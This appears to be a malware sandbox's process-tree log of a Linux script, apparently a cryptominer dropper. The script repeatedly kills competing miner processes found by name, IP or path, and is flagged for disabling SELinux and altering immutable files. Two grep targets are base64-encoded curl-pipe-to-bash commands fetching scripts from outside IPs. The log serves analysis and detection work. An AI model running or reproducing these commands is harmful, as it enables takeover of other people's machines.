- Reads CPU attributes
- Reads runtime system information
PID:1035
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1037
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/bin/psps aux2⤵PID:1040
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1042
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1043
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1044
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1045
-
-
/bin/grepgrep -v grep2⤵PID:1046
-
-
/bin/grepgrep 86s.jpg2⤵PID:1047
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1048
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1049
-
-
/bin/grepgrep -v grep2⤵PID:1051
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1050
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1052
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1053
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1054
-
-
/bin/grepgrep -v grep2⤵PID:1056
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1055
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1057
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1058
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1059
-
-
/bin/grepgrep -v grep2⤵PID:1061
-
-
/bin/psps aux2⤵PID:1060
-
-
/bin/grepgrep AgdgACUD2⤵PID:1062
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1063
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1064
-
-
/bin/grepgrep -v grep2⤵PID:1066
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1065
-
-
/bin/grepgrep uiZvwxG82⤵PID:1067
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1068
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1069
-
-
/bin/grepgrep -v grep2⤵PID:1071
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1070
-
-
/bin/grepgrep hahwNEdB2⤵PID:1072
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1073
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1074
-
-
/bin/grepgrep -v grep2⤵PID:1076
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1075
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1077
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1078
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1079
-
-
/bin/grepgrep -v grep2⤵PID:1082
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1081
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1083
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1084
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1085
-
-
/bin/grepgrep -v grep2⤵PID:1088
-
-
/bin/psps aux2⤵PID:1087
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1089
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1090
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1091
-
-
/bin/grepgrep -v grep2⤵PID:1095
-
-
/bin/psps aux2⤵PID:1094
-
-
/bin/grepgrep svc2⤵PID:1096
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1097
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1102
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1101
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1105
-
-
/bin/grepgrep -v grep2⤵PID:1108
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1107
-
-
/bin/grepgrep zXcDajSs2⤵PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1111
-
-
/bin/grepgrep -v grep2⤵PID:1114
-
-
/bin/psps aux2⤵PID:1113
-
-
/bin/grepgrep 3lmigMo2⤵PID:1115
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1116
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1117
-
-
/bin/grepgrep -v grep2⤵PID:1121
-
-
/bin/psps aux2⤵PID:1120
-
-
/bin/grepgrep AkMK4A22⤵PID:1122
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1123
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1124
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1127
-
-
/bin/grepgrep -v grep2⤵PID:1128
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1130
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1131
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1134
-
-
/bin/grepgrep -v grep2⤵PID:1135
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1136
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1137
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1142
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1141
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1143
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1144
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1145
-
-
/bin/grepgrep -v grep2⤵PID:1148
-
-
/bin/psps aux2⤵PID:1147
-
-
/bin/grepgrep http_0xCC0312⤵PID:1149
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1150
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1154
-
-
/bin/psps aux2⤵PID:1153
-
-
/bin/grepgrep http_0xCC0322⤵PID:1155
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1156
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1157
-
-
/bin/grepgrep -v grep2⤵PID:1161
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1160
-
-
/bin/grepgrep http_0xCC0332⤵PID:1162
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1164
-
-
/bin/grepgrep -v grep2⤵PID:1168
-
-
/bin/psps aux2⤵PID:1167
-
-
/bin/grepgrep C4iLM4L2⤵PID:1169
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1170
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1171
-
-
/bin/grepgrep -v grep2⤵PID:1175
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1174
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1176
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1177
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1178
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1183
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1182
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1185
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1187
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1189
-
-
/bin/grepgrep -v grep2⤵PID:1193
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1192
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1194
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1196
-
-
/bin/psps aux2⤵PID:1199
-
-
/bin/grepgrep -v grep2⤵PID:1200
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1201
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1202
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1203
-
-
/bin/grepgrep -v grep2⤵PID:1205
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1204
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1206
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1207
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/bin/psps aux2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/grepgrep nqscheduler2⤵PID:1211
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1213
-
-
/bin/psps aux2⤵PID:1214
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1216
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1218
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1219
-
-
/bin/grepgrep -v aux2⤵PID:1221
-
-
/bin/grepgrep "]"2⤵PID:1222
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1224
-
-
/bin/grepgrep -v grep2⤵PID:1226
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1225
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1227
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1228
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1229
-
-
/bin/grepgrep -v grep2⤵PID:1231
-
-
/bin/psps aux2⤵PID:1230
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1232
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1233
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1234
-
-
/bin/grepgrep -v grep2⤵PID:1236
-
-
/bin/psps aux2⤵PID:1235
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1237
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1238
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1239
-
-
/bin/grepgrep -v grep2⤵PID:1241
-
-
/bin/psps aux2⤵PID:1240
-
-
/bin/grepgrep -v /2⤵PID:1242
-
-
/bin/grepgrep -v -2⤵PID:1243
-
-
/bin/grepgrep -v _2⤵PID:1244
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1245
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1246
-
-
/bin/grepgrep -v grep2⤵PID:1248
-
-
/bin/psps aux2⤵PID:1247
-
-
/bin/grepgrep "\\[^"2⤵PID:1249
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1250
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1251
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1252
-
-
/bin/grepgrep rsync2⤵PID:1254
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/bin/grepgrep -v grep2⤵PID:1258
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1257
-
-
/bin/grepgrep watchd0g2⤵PID:1259
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1261
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1262
-
-
/bin/grepgrep -v grep2⤵PID:1263
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1265
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1266
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1264
-
-
/bin/grepgrep -v grep2⤵PID:1268
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1267
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1269
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1270
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1271
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1272
-
-
/bin/grepgrep -v grep2⤵PID:1273
-
-
/bin/grepgrep /tmp/java2⤵PID:1274
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1276
-
-
/bin/grepgrep -v grep2⤵PID:1278
-
-
/bin/psps aux2⤵PID:1277
-
-
/bin/grepgrep gitee.com2⤵PID:1279
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1280
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1281
-
-
/bin/grepgrep -v grep2⤵PID:1283
-
-
/bin/psps aux2⤵PID:1282
-
-
/bin/grepgrep /tmp/java2⤵PID:1284
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1286
-
-
/bin/grepgrep -v grep2⤵PID:1288
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1287
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1289
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1290
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1291
-
-
/bin/grepgrep -v grep2⤵PID:1293
-
-
/bin/psps aux2⤵PID:1292
-
-
/bin/grepgrep 89.35.39.782⤵PID:1294
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1295
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1296
-
-
/bin/grepgrep -v grep2⤵PID:1298
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1297
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1299
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1300
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1301
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1302
-
-
/bin/grepgrep kthrotlds2⤵PID:1304
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1306
-
-
/bin/grepgrep -v grep2⤵PID:1308
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1307
-
-
/bin/grepgrep ksoftirqds2⤵PID:1309
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1310
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1311
-
-
/bin/psps aux2⤵PID:1312
-
-
/bin/grepgrep -v grep2⤵PID:1313
-
-
/bin/grepgrep netdns2⤵PID:1314
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1315
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1316
-
-
/bin/grepgrep watchdogs2⤵PID:1319
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1320
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1321
-
-
/bin/grepgrep -v grep2⤵PID:1323
-
-
/bin/psps aux2⤵PID:1322
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1324
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1325
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1326
-
-
/bin/grepgrep -v grep2⤵PID:1328
-
-
/bin/psps aux2⤵PID:1327
-
-
/bin/grepgrep kinsing2⤵PID:1329
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1330
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1331
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1332
-
-
/bin/grepgrep -v grep2⤵PID:1333
-
-
/bin/grepgrep redis22⤵PID:1334
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1335
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1336
-
-
/bin/grepgrep -v grep2⤵PID:1338
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1337
-
-
/bin/grepgrep -v aux2⤵PID:1339
-
-
/bin/grepgrep " ps"2⤵PID:1340
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1342
-
-
/bin/grepgrep -v grep2⤵PID:1344
-
-
/bin/psps aux2⤵PID:1343
-
-
/bin/grepgrep sync_supers2⤵PID:1345
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1347
-
-
/usr/bin/cutcut -c 9-152⤵PID:1346
-
-
/bin/grepgrep -v grep2⤵PID:1349
-
-
/bin/psps aux2⤵PID:1348
-
-
/usr/bin/cutcut -c 9-152⤵PID:1351
-
-
/bin/grepgrep cpuset2⤵PID:1350
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1352
-
-
/bin/grepgrep -v grep2⤵PID:1354
-
-
/bin/psps aux2⤵PID:1353
-
-
/bin/grepgrep -v aux2⤵PID:1355
-
-
/bin/grepgrep "x]"2⤵PID:1356
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1357
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1358
-
-
/bin/grepgrep -v grep2⤵PID:1360
-
-
/bin/psps aux2⤵PID:1359
-
-
/bin/grepgrep -v aux2⤵PID:1361
-
-
/bin/grepgrep "sh] <"2⤵PID:1362
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1363
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1366
-
-
/bin/psps aux2⤵PID:1365
-
-
/bin/grepgrep -v aux2⤵PID:1367
-
-
/bin/grepgrep " \\[]"2⤵PID:1368
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1369
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1370
-
-
/bin/grepgrep -v grep2⤵PID:1372
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1371
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1373
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1374
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1375
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1376
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1378
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1381
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/grepgrep hahwNEdB2⤵PID:1383
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1384
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1385
-
-
/bin/grepgrep -v grep2⤵PID:1387
-
-
/bin/psps aux2⤵PID:1386
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1388
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1389
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1392
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1391
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1393
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1394
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1395
-
-
/bin/grepgrep -v grep2⤵PID:1397
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1396
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1398
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1399
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1400
-
-
/bin/grepgrep -v grep2⤵PID:1402
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1403
-
-
/bin/psps aux2⤵PID:1401
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1407
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1406
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1409
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1410
-
-
/bin/grepgrep -v grep2⤵PID:1412
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1411
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1413
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1414
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1415
-
-
/bin/grepgrep -v grep2⤵PID:1417
-
-
/bin/psps aux2⤵PID:1416
-
-
/bin/grepgrep sustse2⤵PID:1418
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1419
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1420
-
-
/bin/grepgrep -v grep2⤵PID:1422
-
-
/bin/psps aux2⤵PID:1421
-
-
/bin/grepgrep sustse32⤵PID:1423
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1424
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1425
-
-
/bin/grepgrep -v grep2⤵PID:1427
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1426
-
-
/bin/grepgrep mr.sh2⤵PID:1428
-
-
/bin/grepgrep wget2⤵PID:1429
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1431
-
-
/bin/psps aux2⤵PID:1432
-
-
/bin/grepgrep -v grep2⤵PID:1433
-
-
/bin/grepgrep mr.sh2⤵PID:1434
-
-
/bin/grepgrep curl2⤵PID:1435
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1436
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1437
-
-
/bin/grepgrep -v grep2⤵PID:1439
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1438
-
-
/bin/grepgrep 2mr.sh2⤵PID:1440
-
-
/bin/grepgrep wget2⤵PID:1441
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1443
-
-
/bin/grepgrep -v grep2⤵PID:1445
-
-
/bin/psps aux2⤵PID:1444
-
-
/bin/grepgrep 2mr.sh2⤵PID:1446
-
-
/bin/grepgrep curl2⤵PID:1447
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1448
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1449
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1450
-
-
/bin/grepgrep cr5.sh2⤵PID:1452
-
-
/bin/grepgrep wget2⤵PID:1453
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1454
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1455
-
-
/bin/grepgrep -v grep2⤵PID:1457
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1456
-
-
/bin/grepgrep cr5.sh2⤵PID:1458
-
-
/bin/grepgrep curl2⤵PID:1459
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1461
-
-
/bin/grepgrep -v grep2⤵PID:1463
-
-
/bin/psps aux2⤵PID:1462
-
-
/bin/grepgrep logo9.jpg2⤵PID:1464
-
-
/bin/grepgrep wget2⤵PID:1465
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1467
-
-
/bin/grepgrep -v grep2⤵PID:1469
-
-
/bin/psps aux2⤵PID:1468
-
-
/bin/grepgrep logo9.jpg2⤵PID:1470
-
-
/bin/grepgrep curl2⤵PID:1471
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1472
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1473
-
-
/bin/grepgrep -v grep2⤵PID:1475
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1474
-
-
/bin/grepgrep j2.conf2⤵PID:1476
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1477
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1478
-
-
/bin/grepgrep -v grep2⤵PID:1480
-
-
/bin/psps aux2⤵PID:1479
-
-
/bin/grepgrep luk-cpu2⤵PID:1481
-
-
/bin/grepgrep wget2⤵PID:1482
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1483
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1484
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1485
-
-
/bin/grepgrep luk-cpu2⤵PID:1487
-
-
/bin/grepgrep curl2⤵PID:1488
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1489
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1490
-
-
/bin/grepgrep -v grep2⤵PID:1492
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1491
-
-
/bin/grepgrep ficov2⤵PID:1493
-
-
/bin/grepgrep wget2⤵PID:1494
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1495
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1496
-
-
/bin/grepgrep -v grep2⤵PID:1498
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1497
-
-
/bin/grepgrep ficov2⤵PID:1499
-
-
/bin/grepgrep curl2⤵PID:1500
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1501
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1502
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1503
-
-
/bin/grepgrep he.sh2⤵PID:1505
-
-
/bin/grepgrep wget2⤵PID:1506
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1507
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1508
-
-
